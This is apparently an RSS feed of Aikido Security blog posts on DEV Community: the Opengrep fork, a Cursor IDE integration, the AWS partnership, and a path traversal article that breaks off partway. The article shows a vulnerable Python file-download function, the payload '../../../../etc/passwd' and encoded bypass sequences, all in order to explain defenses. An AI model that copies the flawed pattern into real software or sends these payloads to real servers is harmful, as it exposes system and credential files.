<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Felix Garriau</title>
    <description>The latest articles on DEV Community by Felix Garriau (@flxg).</description>
    <link>https://dev.to/flxg</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1001111%2F9265dbf1-29f3-4521-ba6d-cd9ccec9440d.png</url>
      <title>DEV Community: Felix Garriau</title>
      <link>https://dev.to/flxg</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/flxg"/>
    <language>en</language>
    <item>
      <title>Launching Opengrep | Why we forked Semgrep</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Thu, 23 Jan 2025 11:00:02 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/launching-opengrep-why-we-forked-semgrep-2143</link>
      <guid>https://dev.to/aikidosecurity/launching-opengrep-why-we-forked-semgrep-2143</guid>
      <description>&lt;h4&gt;
  
  
  &lt;strong&gt;TL;DR: We’re launching Opengrep, a fork of SemgrepCS, in response to its open-source clampdown.&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Last month, Semgrep &lt;a href="https://semgrep.dev/blog/2024/important-updates-to-semgrep-oss/" rel="noopener noreferrer"&gt;announced&lt;/a&gt; major changes to its OSS project—strategically timed for a Friday, of course ;)&lt;/p&gt;

&lt;p&gt;Since 2017, Semgrep has been a cornerstone of the open-source security community, offering a code analysis engine and rule repository alongside its SaaS product. But their recent moves raise the question: what does “open” really mean?&lt;/p&gt;

&lt;p&gt;Key changes include locking community-contributed rules under a restrictive license and migrating critical features like tracking ignores, LOC, fingerprints, and essential metavariables away from the open project.&lt;/p&gt;

&lt;p&gt;This isn’t surprising—Semgrep has been quietly quitting the open-source engine for some time. The rebranding from “Semgrep OSS” to “Semgrep Community Edition” feels like the final nail in the coffin.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Why?&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Perhaps pressure from VCs, viewing open-source contributions as “cannibalizing” SaaS revenue, or protecting against competition? Semgrep claims the move was to stop vendors from using the rules and engine in competing SaaS offerings. Yet, just yesterday with their “AI” announcement, the founder declared, “the original Semgrep engine is becoming obsolete.”&lt;/p&gt;

&lt;p&gt;Whatever the case, while we respect a competitive spirit, this open-source clampdown does little to stop rival organizations. More than anything, this move undermines community trust—not just in Semgrep, but across open-source projects.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“This sort of change also harms all similar open-source projects. Every company and every developer now needs to think twice before adopting and investing in an open-source project in case the creator suddenly decides to change the license”... or kneecap the functionality (Opentofu). &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This pattern is familiar: Elasticsearch’s license shift led AWS to create OpenSearch. The Opentofu movement arose after HashiCorp’s Terraform rugpull. Vendor-led open-source often prioritize commercial interests over community to make it to the “big leagues.”  &lt;strong&gt;And that sucks.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  So, we’re taking action.
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;We’ve united with 10 direct competitors to launch Opengrep—a coordinated, industry-wide stand to protect open-source and make secure software development a shared standard.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m joined by Nir Valtman (CEO, &lt;a href="https://www.arnica.io/" rel="noopener noreferrer"&gt;Arnica&lt;/a&gt;), Ali Mesdaq (CEO, &lt;a href="https://amplify.security/" rel="noopener noreferrer"&gt;Amplify Security&lt;/a&gt;), Varun Badhwar (CEO, &lt;a href="https://www.endorlabs.com/" rel="noopener noreferrer"&gt;Endor Labs&lt;/a&gt;), Aviram Shmueli (CIO, &lt;a href="https://jit.io/" rel="noopener noreferrer"&gt;Jit&lt;/a&gt;), Pavel Furman (CTO, &lt;a href="https://www.kodemsecurity.com/" rel="noopener noreferrer"&gt;Kodem&lt;/a&gt;), Liav Caspi (CTO, &lt;a href="https://www.legitsecurity.com/" rel="noopener noreferrer"&gt;Legit&lt;/a&gt;), Eitan Worcel (CEO, &lt;a href="https://www.mobb.ai/" rel="noopener noreferrer"&gt;Mobb&lt;/a&gt;), and Yoav Alon (CTO, &lt;a href="https://orca.security/" rel="noopener noreferrer"&gt;Orca Security&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;What can you expect? Performance improvements, unlocking pro-only features, extended language supports, migrating critical features back to the engine, and new advancements: windows compatibility, cross-file analysis, the roadmap is long.&lt;/p&gt;

&lt;p&gt;Together, we’re pooling committed capital and OCAML development resources to advance and democratize - even commoditized - static application security testing.&lt;/p&gt;

&lt;p&gt;Because let’s face it—there are more interesting things to build. Finding is one thing... let’s focus on the future, on how we can find and fix security vulnerabilities &lt;del&gt;fast&lt;/del&gt; automatically. Let’s focus on getting devs back to building.&lt;/p&gt;

&lt;p&gt;Read the &lt;a href="https://opengrep.dev/" rel="noopener noreferrer"&gt;Opengrep Manifesto&lt;/a&gt;. Leverage and contribute to Opengrep &lt;a href="https://github.com/opengrep" rel="noopener noreferrer"&gt;today&lt;/a&gt;. To contribute or join as a sponsor, open an issue on &lt;a href="https://github.com/opengrep/opengrep" rel="noopener noreferrer"&gt;https://github.com/opengrep/opengrep&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;For community &amp;amp; contributors, join the &lt;a href="https://lu.ma/07bivwlz" rel="noopener noreferrer"&gt;open roadmap session&lt;/a&gt; on 20th February.&lt;/p&gt;

&lt;p&gt;Follow along on &lt;a href="https://x.com/opengrep" rel="noopener noreferrer"&gt;X&lt;/a&gt;. &lt;a href="https://www.linkedin.com/company/opengrep/" rel="noopener noreferrer"&gt;Linkedin&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sast</category>
    </item>
    <item>
      <title>Launching Aikido for Cursor AI</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Mon, 02 Dec 2024 14:16:41 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/launching-aikido-for-cursor-ai-5bfc</link>
      <guid>https://dev.to/aikidosecurity/launching-aikido-for-cursor-ai-5bfc</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Faikido-cursor-header_b83e6c2a7460735c122ff4c5838038d2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Faikido-cursor-header_b83e6c2a7460735c122ff4c5838038d2.jpg" alt="Gen AI Code Security with Aikido and Cursor AI " width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cursor AI has quickly become the hot AI code editor, rapidly gaining popularity with developers looking to write code faster and more efficiently. &lt;em&gt;But while Cursor accelerates coding, how can devs trust that gen AI code is secure?&lt;/em&gt; &lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;TL;DR: with Aikido x Cursor, devs can secure their code as it’s&lt;/strong&gt; &lt;del&gt;&lt;strong&gt;written&lt;/strong&gt;&lt;/del&gt;  &lt;strong&gt;generated.&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;If you’ve missed the hype so far, Cursor is an “AI Native” IDE built on VSCode. It operates in an &lt;a href="https://techcrunch.com/2024/08/09/anysphere-a-github-copilot-rival-has-raised-60m-series-a-at-400m-valuation-from-a16z-thrive-sources-say/" rel="noopener noreferrer"&gt;increasingly crowded field&lt;/a&gt; of gen AI coding copilot startups, competing with Github Co-pilot, Cognition, Poolside, Magic, and Augment amongst others. Cursor was founded in 2022, but it wasn’t until mid-2024 that Cursor began its meteoric rise to the front of the Gen AI code race, around the same time that Cursor added Sonnet 3.5M as their default model... &lt;/p&gt;

&lt;p&gt;Below is a snapshot from last week’s ‘The Pragmatic Engineer” by Gregely Orosz, the #1 tech newsletter on substack, covering IDEs with GenAI features:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F24d6caab-35bf-4295-970a-a75df3e86f71-1526x1206_e967e05c48989c4eda13c0ebbddb2b00.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F24d6caab-35bf-4295-970a-a75df3e86f71-1526x1206_e967e05c48989c4eda13c0ebbddb2b00.png" alt="Cursor and other popular AI Native IDE for Gen AI Code Development" width="800" height="632"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While respondents are likely mostly early adopters, it is still pretty impressive to see Cursor as a new entrant capturing hearts &amp;amp; minds so quickly. It’s no surprise they’ve since raised $60m in Series A funding from Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown, and the founders of Stripe, GitHub, Ramp, Perplexity, and OpenAI, among others.&lt;/p&gt;

&lt;p&gt;That’s why Aikido Security is excited to launch our new integration with Cursor AI. Aikido x Cursor brings real-time security into the Cursor IDE, helping developers write and generate secure code from the start—without breaking stride.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Secure your code as it's&lt;/strong&gt; &lt;del&gt;&lt;strong&gt;written&lt;/strong&gt;&lt;/del&gt; &lt;strong&gt;generated.&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How the Integration Works
&lt;/h3&gt;

&lt;p&gt;Today you can integrate Aikido directly into your Cursor IDE. Aikido will scan your codebase for &lt;strong&gt;secrets, API keys&lt;/strong&gt; and &lt;strong&gt;SAST&lt;/strong&gt; code issues as you develop, whenever you open or save a file.&lt;/p&gt;

&lt;p&gt;If any issues are detected, Aikido highlights them in the editor and displays issues in the Problems panel. When you hover over a detected SAST issue, additional tl;dr context about the problem is provided. In some instances, you can even fix issues with Cursor’s suggestions in chat (though its still rusty).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Detect Vulnerabilities Instantly&lt;/strong&gt; Aikido scans code as it’s generated, identifying security vulnerabilities in real time. Clear, concise explanations ensure you know what the issue is and why it matters—no overcomplicated reports.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix Issues with One Click&lt;/strong&gt; When a vulnerability is flagged, Cursor x Aikido can generate fix suggestions in one click. You can apply it directly from within Cursor’s interface, keeping your workflow uninterrupted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stay Focused&lt;/strong&gt; Everything happens within the Cursor IDE. There’s no need to switch tools, run external scans, or juggle separate platforms. Aikido integrates seamlessly into the IDE, so you can focus on building while knowing your code is secure.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Why It Matters
&lt;/h3&gt;

&lt;p&gt;There’s no doubting the impact Gen AI will have on engineering. AI code generators or co-pilots are not infallible. On one hand, gen AI can be used to increase security (more on this very soon!). On the other hand, they will also inevitably introduce vulnerabilities as well. We are all waiting for the day that AI can finish the nitty gritty. Today we are a step closer. &lt;/p&gt;

&lt;p&gt;This integration allows developers to stay in the fast lane and build secure applications while leveraging the best of AI-driven tools while being assured the output is secure. Get security done. Get back to building.&lt;/p&gt;

&lt;h3&gt;
  
  
  Get Started
&lt;/h3&gt;

&lt;p&gt;The Aikido integration is available now for Cursor users. Follow the steps below:  &lt;strong&gt;Step 1.&lt;/strong&gt; Head over to the &lt;a href="https://marketplace.visualstudio.com/items?itemName=AikidoSecurity.aikido" rel="noopener noreferrer"&gt;Visual Studio Code Marketplace&lt;/a&gt; and follow the instructions on &lt;a href="https://www.cursor.com/how-to-install-extension" rel="noopener noreferrer"&gt;how to install an extension in Cursor.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2.&lt;/strong&gt; In Aikido, go to the &lt;a href="https://app.aikido.dev/settings/integrations/ide/cursor" rel="noopener noreferrer"&gt;Cursor IDE integration page&lt;/a&gt; and create your token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3.&lt;/strong&gt; Check out the examples in our docs on the &lt;a href="https://marketplace.visualstudio.com/items?itemName=AikidoSecurity.aikido" rel="noopener noreferrer"&gt;Visual Studio Marketplace to test &lt;/a&gt;whether everything works well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;. Get back to building.&lt;/p&gt;

</description>
      <category>sast</category>
      <category>tools</category>
    </item>
    <item>
      <title>Aikido joins the AWS Partner Network</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Tue, 26 Nov 2024 13:40:37 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/aikido-joins-the-aws-partner-network-1ej4</link>
      <guid>https://dev.to/aikidosecurity/aikido-joins-the-aws-partner-network-1ej4</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Faws-visual_bc09724747eaca378e4a741c921c398c.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Faws-visual_bc09724747eaca378e4a741c921c398c.jpg" width="800" height="512"&gt;&lt;/a&gt;Learn more about it &lt;a href="https://www.aikido.dev/aws" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you missed it, over the summer months launched our product on the AWS Marketplace with the promise to deliver the fastest “time-to-security” in the industry for new AWS users.&lt;/p&gt;

&lt;p&gt;We’ve also officially joined the AWS Partner Network (APN) as a validated AWS partner.&lt;/p&gt;

&lt;p&gt;This means we went through the AWS Foundational Technical Review (FTR). We are &lt;strong&gt;FTR-approved*&lt;/strong&gt; and meet the well-architected best practices enforced by AWS, not to brag. ;)&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Psst. You’ll soon be able to&lt;/em&gt; &lt;em&gt;&lt;strong&gt;use Aikido to achieve FTR approval&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;. We’re mapping Aikido functionality to the FTR security process, so you can get up, running, and co-selling with AWS fast. Interested? → sign up here and you’ll be the first to know when.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Beyond the snazzy partner badge, we’re excited to be an official AWS partner to unlock greater access to the AWS community. We can better serve cloud-native customers, cut-out unnecessary complexity in the customer journey, and &lt;a href="https://www.aikido.dev/scanners/cloud-posture-management-cspm" rel="noopener noreferrer"&gt;expand our own Cloud Security Posture Management (CSPM) product for AWS Cloud users&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why add Aikido to your AWS bill?
&lt;/h2&gt;

&lt;p&gt;Aikido Security provides comprehensive &lt;strong&gt;code-to-cloud coverage&lt;/strong&gt;, aligning well with AWS’s full-stack capabilities. This is especially valuable for AWS customers managing both application and cloud security on a unified platform.&lt;/p&gt;

&lt;p&gt;The direct integration with AWS environments simplifies deployment, enabling Aikido to scan for vulnerabilities across AWS services like EC2, S3, Lambda, and more – enhancing security visibility within AWS and complementing cloud-native architecture. Aikido's AWS posture management is built on AWS Inspector. We can show you findings that can cause hackers to gain initial access to your cloud.&lt;/p&gt;

&lt;p&gt;Further, Aikido’s &lt;a href="https://www.aikido.dev/use-cases/soc2-iso-compliance" rel="noopener noreferrer"&gt;built-in compliance checks&lt;/a&gt; align with major standards (SOC2, ISO 27001, NIS 2, HIPAA), making it easier for AWS clients to maintain compliance across AWS’s infrastructure, which is especially valuable for regulated industries.&lt;/p&gt;

&lt;p&gt;Interested to check it out? Come find us &lt;a href="https://aws.amazon.com/marketplace/pp/prodview-cogk44gx2w4ge" rel="noopener noreferrer"&gt;on the AWS marketplace&lt;/a&gt;&lt;/p&gt;

</description>
      <category>aws</category>
    </item>
    <item>
      <title>Path Traversal in 2024 - The year unpacked</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Sun, 24 Nov 2024 17:10:35 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/path-traversal-in-2024-the-year-unpacked-4jgo</link>
      <guid>https://dev.to/aikidosecurity/path-traversal-in-2024-the-year-unpacked-4jgo</guid>
      <description>&lt;p&gt;Path traversal, also known as directory traversal, occurs when a malicious user manipulates user-supplied data to gain unauthorized access to files and directories. Typically the attacker will be trying to access logs and credentials that are in different directories. Path traversal is not a new vulnerability and has been actively exploited since the 90s when web servers gained popularity, many relied on Common Gateway Interface (CGI) scripts to execute dynamic server-side content. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;With such a long history, is path traversal still popular today?&lt;/strong&gt; We conducted a study of both open-source and closed-source projects to gather data to see how common path traversal was in 2024 and if we are improving, &lt;em&gt;Spoilers we aren&lt;/em&gt;’t. &lt;/p&gt;

&lt;h3&gt;
  
  
  Path traversal example
&lt;/h3&gt;

&lt;p&gt;So how exactly does path traversal work? Let's look at a simple example. &lt;/p&gt;

&lt;p&gt;In this simple application, a user is given a file to download via a variable in the URL. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F1_52fcd035c02f00167f0315977edec501.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F1_52fcd035c02f00167f0315977edec501.png" width="800" height="133"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is some simple backend Python code handling the request.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os  

def download_file(file):     
    base_directory = "/var/www/files"     
    file_path = os.path.join(base_directory, file)          

    if os.path.exists(file_path):         
        with open(file_path, 'rb') as f:             
             return f.read()    
    else:         
       return "File not found"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;​&lt;/p&gt;

&lt;p&gt;Now as the variable is supplied in the URL we can change it to something like this &lt;code&gt;file=../../../../etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F2_4c4da80b04c3fdbdf481f26063051f01.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2F2_4c4da80b04c3fdbdf481f26063051f01.png" width="800" height="133"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here the attacker is using the ../../ to traverse up the directory structure to the system root level and access the passed file potentially gaining access to sensitive information.&lt;/p&gt;

&lt;p&gt;If you want to see how this method could be secured scroll down to bonus content.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In more complex scenarios involving multiple layers of directories or encoded characters (e.g.,&lt;/em&gt; &lt;code&gt;%2e%2e%2f&lt;/code&gt;&lt;em&gt;), attackers can bypass basic filters and gain deeper access into the file system.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Path traversal by the numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2.7% of all vulnerabilities found in open-source&lt;/strong&gt; projects in 2024 so far were path traversal&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3.5% for closed-source&lt;/strong&gt; projects!&lt;/li&gt;
&lt;li&gt;An increase in the total number of path traversal vulnerabilities in open-source projects &lt;strong&gt;from 742&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2023)&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;to an expected 1,000&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;(2024)&lt;/strong&gt;&lt;/em&gt;&lt;em&gt;.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;As a percentage of all vulnerabilities, path traversal is getting more common with a &lt;strong&gt;massive increase in closed-source projects of 85%&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fpath-traversal_e409b2a17d3e9c9e059aa5b682f29124.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Fpath-traversal_e409b2a17d3e9c9e059aa5b682f29124.png" width="800" height="450"&gt;&lt;/a&gt;&lt;strong&gt;Path Traversal in 2024 and 2023&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Our research focused on researching both open-source and closed-source projects to reveal how many had path traversal vulnerabilities hiding within.&lt;/p&gt;

&lt;p&gt;Overall the number of path traversal vulnerabilities is lower than some others we have researched such as Command Injections, or SQL Injections. But considering that this vulnerability can be very dangerous and has well-documented solutions to prevent it, it is alarming to see the numbers as high as they are. It is even more alarming to see the trends for this vulnerability going in the wrong direction. f&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Open Source Projects&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In open-source projects, path traversal accounted for 2.6% of all reported vulnerabilities in 2023. This figure saw a slight increase in 2024, rising to 2.75%. While this increment may seem marginal at first glance, it underscores ongoing challenges in securing open-source software against even simple vulnerabilities. &lt;/p&gt;

&lt;h3&gt;
  
  
  Closed Source Projects
&lt;/h3&gt;

&lt;p&gt;The most notable trend was observed in closed-source projects where path traversal incidents surged from 1.9% in 2023 to 3.5% in 2024—a substantial increase of 85% highlighting an alarming trend of this kind of vulnerability.&lt;/p&gt;

&lt;p&gt;The bad news unfortunately doesn’t stop there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 742 in 2023 to 917 so far in 2024 (expected to reach 1,000)&lt;/p&gt;

&lt;h2&gt;
  
  
  ​
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Ftotal-number-path-traversal_6ab1090a51de6f324b95fc40903d5aee.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fd37oebn0w9ir6a.cloudfront.net%2Faccount_39169%2Ftotal-number-path-traversal_6ab1090a51de6f324b95fc40903d5aee.png" width="800" height="450"&gt;&lt;/a&gt;Number of path traversal vulnerabilities in 2024 and 2023&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing Path Traversal
&lt;/h2&gt;

&lt;p&gt;Preventing command injection vulnerabilities requires a multi-faceted approach:&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Input Validation&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sanitize user inputs&lt;/strong&gt;: Strip out or encode dangerous characters such as &lt;code&gt;../&lt;/code&gt;, &lt;code&gt;..\&lt;/code&gt;, &lt;code&gt;..%2f&lt;/code&gt;, or other variations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist approach&lt;/strong&gt;: Define a strict set of permissible inputs (e.g., file names or paths) and reject anything outside this list.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Restrict File Access&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use a chroot jail or sandbox&lt;/strong&gt;: Limit the application’s file access to a restricted directory, ensuring it cannot traverse beyond the intended directory tree.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set root directories&lt;/strong&gt;: Define base directories and ensure all paths are relative to them. Use APIs or frameworks that enforce this, such as:&lt;code&gt;java.nio.file.Paths.get("baseDir").resolve(userInput).normalize()&lt;/code&gt; in Java. &lt;code&gt;os.path.realpath()&lt;/code&gt; and &lt;code&gt;os.path.commonpath()&lt;/code&gt; in Python.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Secure File Access APIs&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Use secure file access methods provided by modern libraries or frameworks:In &lt;strong&gt;Java&lt;/strong&gt;, use &lt;code&gt;Files.newInputStream()&lt;/code&gt; or &lt;code&gt;Files.newBufferedReader()&lt;/code&gt; for safe file handling.
In &lt;strong&gt;Python&lt;/strong&gt;, ensure you validate file paths before accessing them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Use Environment Restrictions&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Set restrictive &lt;strong&gt;file system permissions&lt;/strong&gt;:Ensure the application has only the minimum required privileges.
Deny access to sensitive directories (e.g., &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/var&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt;, and user home directories).&lt;/li&gt;
&lt;li&gt;Disable unnecessary features in web servers or frameworks (e.g., symbolic link following).&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Automated Testing&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Use tools like Aikido to scan your source code and application to discover these vulnerabilities.&lt;/li&gt;
&lt;li&gt;Both SAST and DAST tools should be used together along with domain scanning and cloud security to ensure you have no hidden path traversal vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Use an in-app firewall&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;One of the best defenses against injection attacks is an &lt;a href="https://www.aikido.dev/zen" rel="noopener noreferrer"&gt;in-app firewall &lt;/a&gt;that is able to catch and block malicious commands.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The road forward
&lt;/h2&gt;

&lt;p&gt;Path traversal is a vulnerability that has been present since the beginning of web apps and while it is often quite simple, it can also be a very devastating exploit. This makes it so concerning that such a large percentage of projects are still struggling with such issues. While 3.5% does not seem like a high number, it is quite remarkable that the number is growing in popularity despite its clear continued and well-documented threat. &lt;/p&gt;

&lt;p&gt;Path traversal isn’t a vulnerability that is going away but the good news is that there are clear ways we can find these vulnerabilities in our application and remediate any issues we find. &lt;/p&gt;

&lt;p&gt;​&lt;/p&gt;

&lt;h2&gt;
  
  
  Bonus Content
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Real-World Incidents
&lt;/h3&gt;

&lt;p&gt;There have been several high-profile breaches or vulnerabilities in recent years that involved path traversal as either the primary point of entry or as part of a chain of vulnerability&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.giac.org/paper/gcih/115/iis-unicode-exploit/101163" rel="noopener noreferrer"&gt;Microsoft IIS Unicode Exploit&lt;/a&gt; &lt;strong&gt;(2001)&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;One of the earliest high-profile path traversal exploits targeting Microsoft IIS servers. Attackers used encoded paths to bypass validation mechanisms (e.g., using &lt;code&gt;%c0%af&lt;/code&gt; to represent &lt;code&gt;/&lt;/code&gt;). This allowed them to access and execute files outside the web root directory.&lt;/p&gt;

&lt;p&gt;This enabled the deployment of malware and defacement of numerous websites.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.fortinet.com/blog/psirt-blogs/fortios-ssl-vulnerability" rel="noopener noreferrer"&gt;Fortinet VPN Path Traversal&lt;/a&gt; &lt;strong&gt;(2019)&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Fortinet's SSL VPN was found to have a directory traversal vulnerability (CVE-2018-13379). Attackers exploited this flaw to access sensitive system files, such as plaintext passwords for VPN users.&lt;/p&gt;

&lt;p&gt;Thousands of VPN credentials were leaked online, exposing organizations to unauthorized access and further attacks.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;a href="https://www.capitalone.com/digital/facts2019/" rel="noopener noreferrer"&gt;Capital One Breach&lt;/a&gt; &lt;strong&gt;(2019)&lt;/strong&gt;
&lt;/h4&gt;

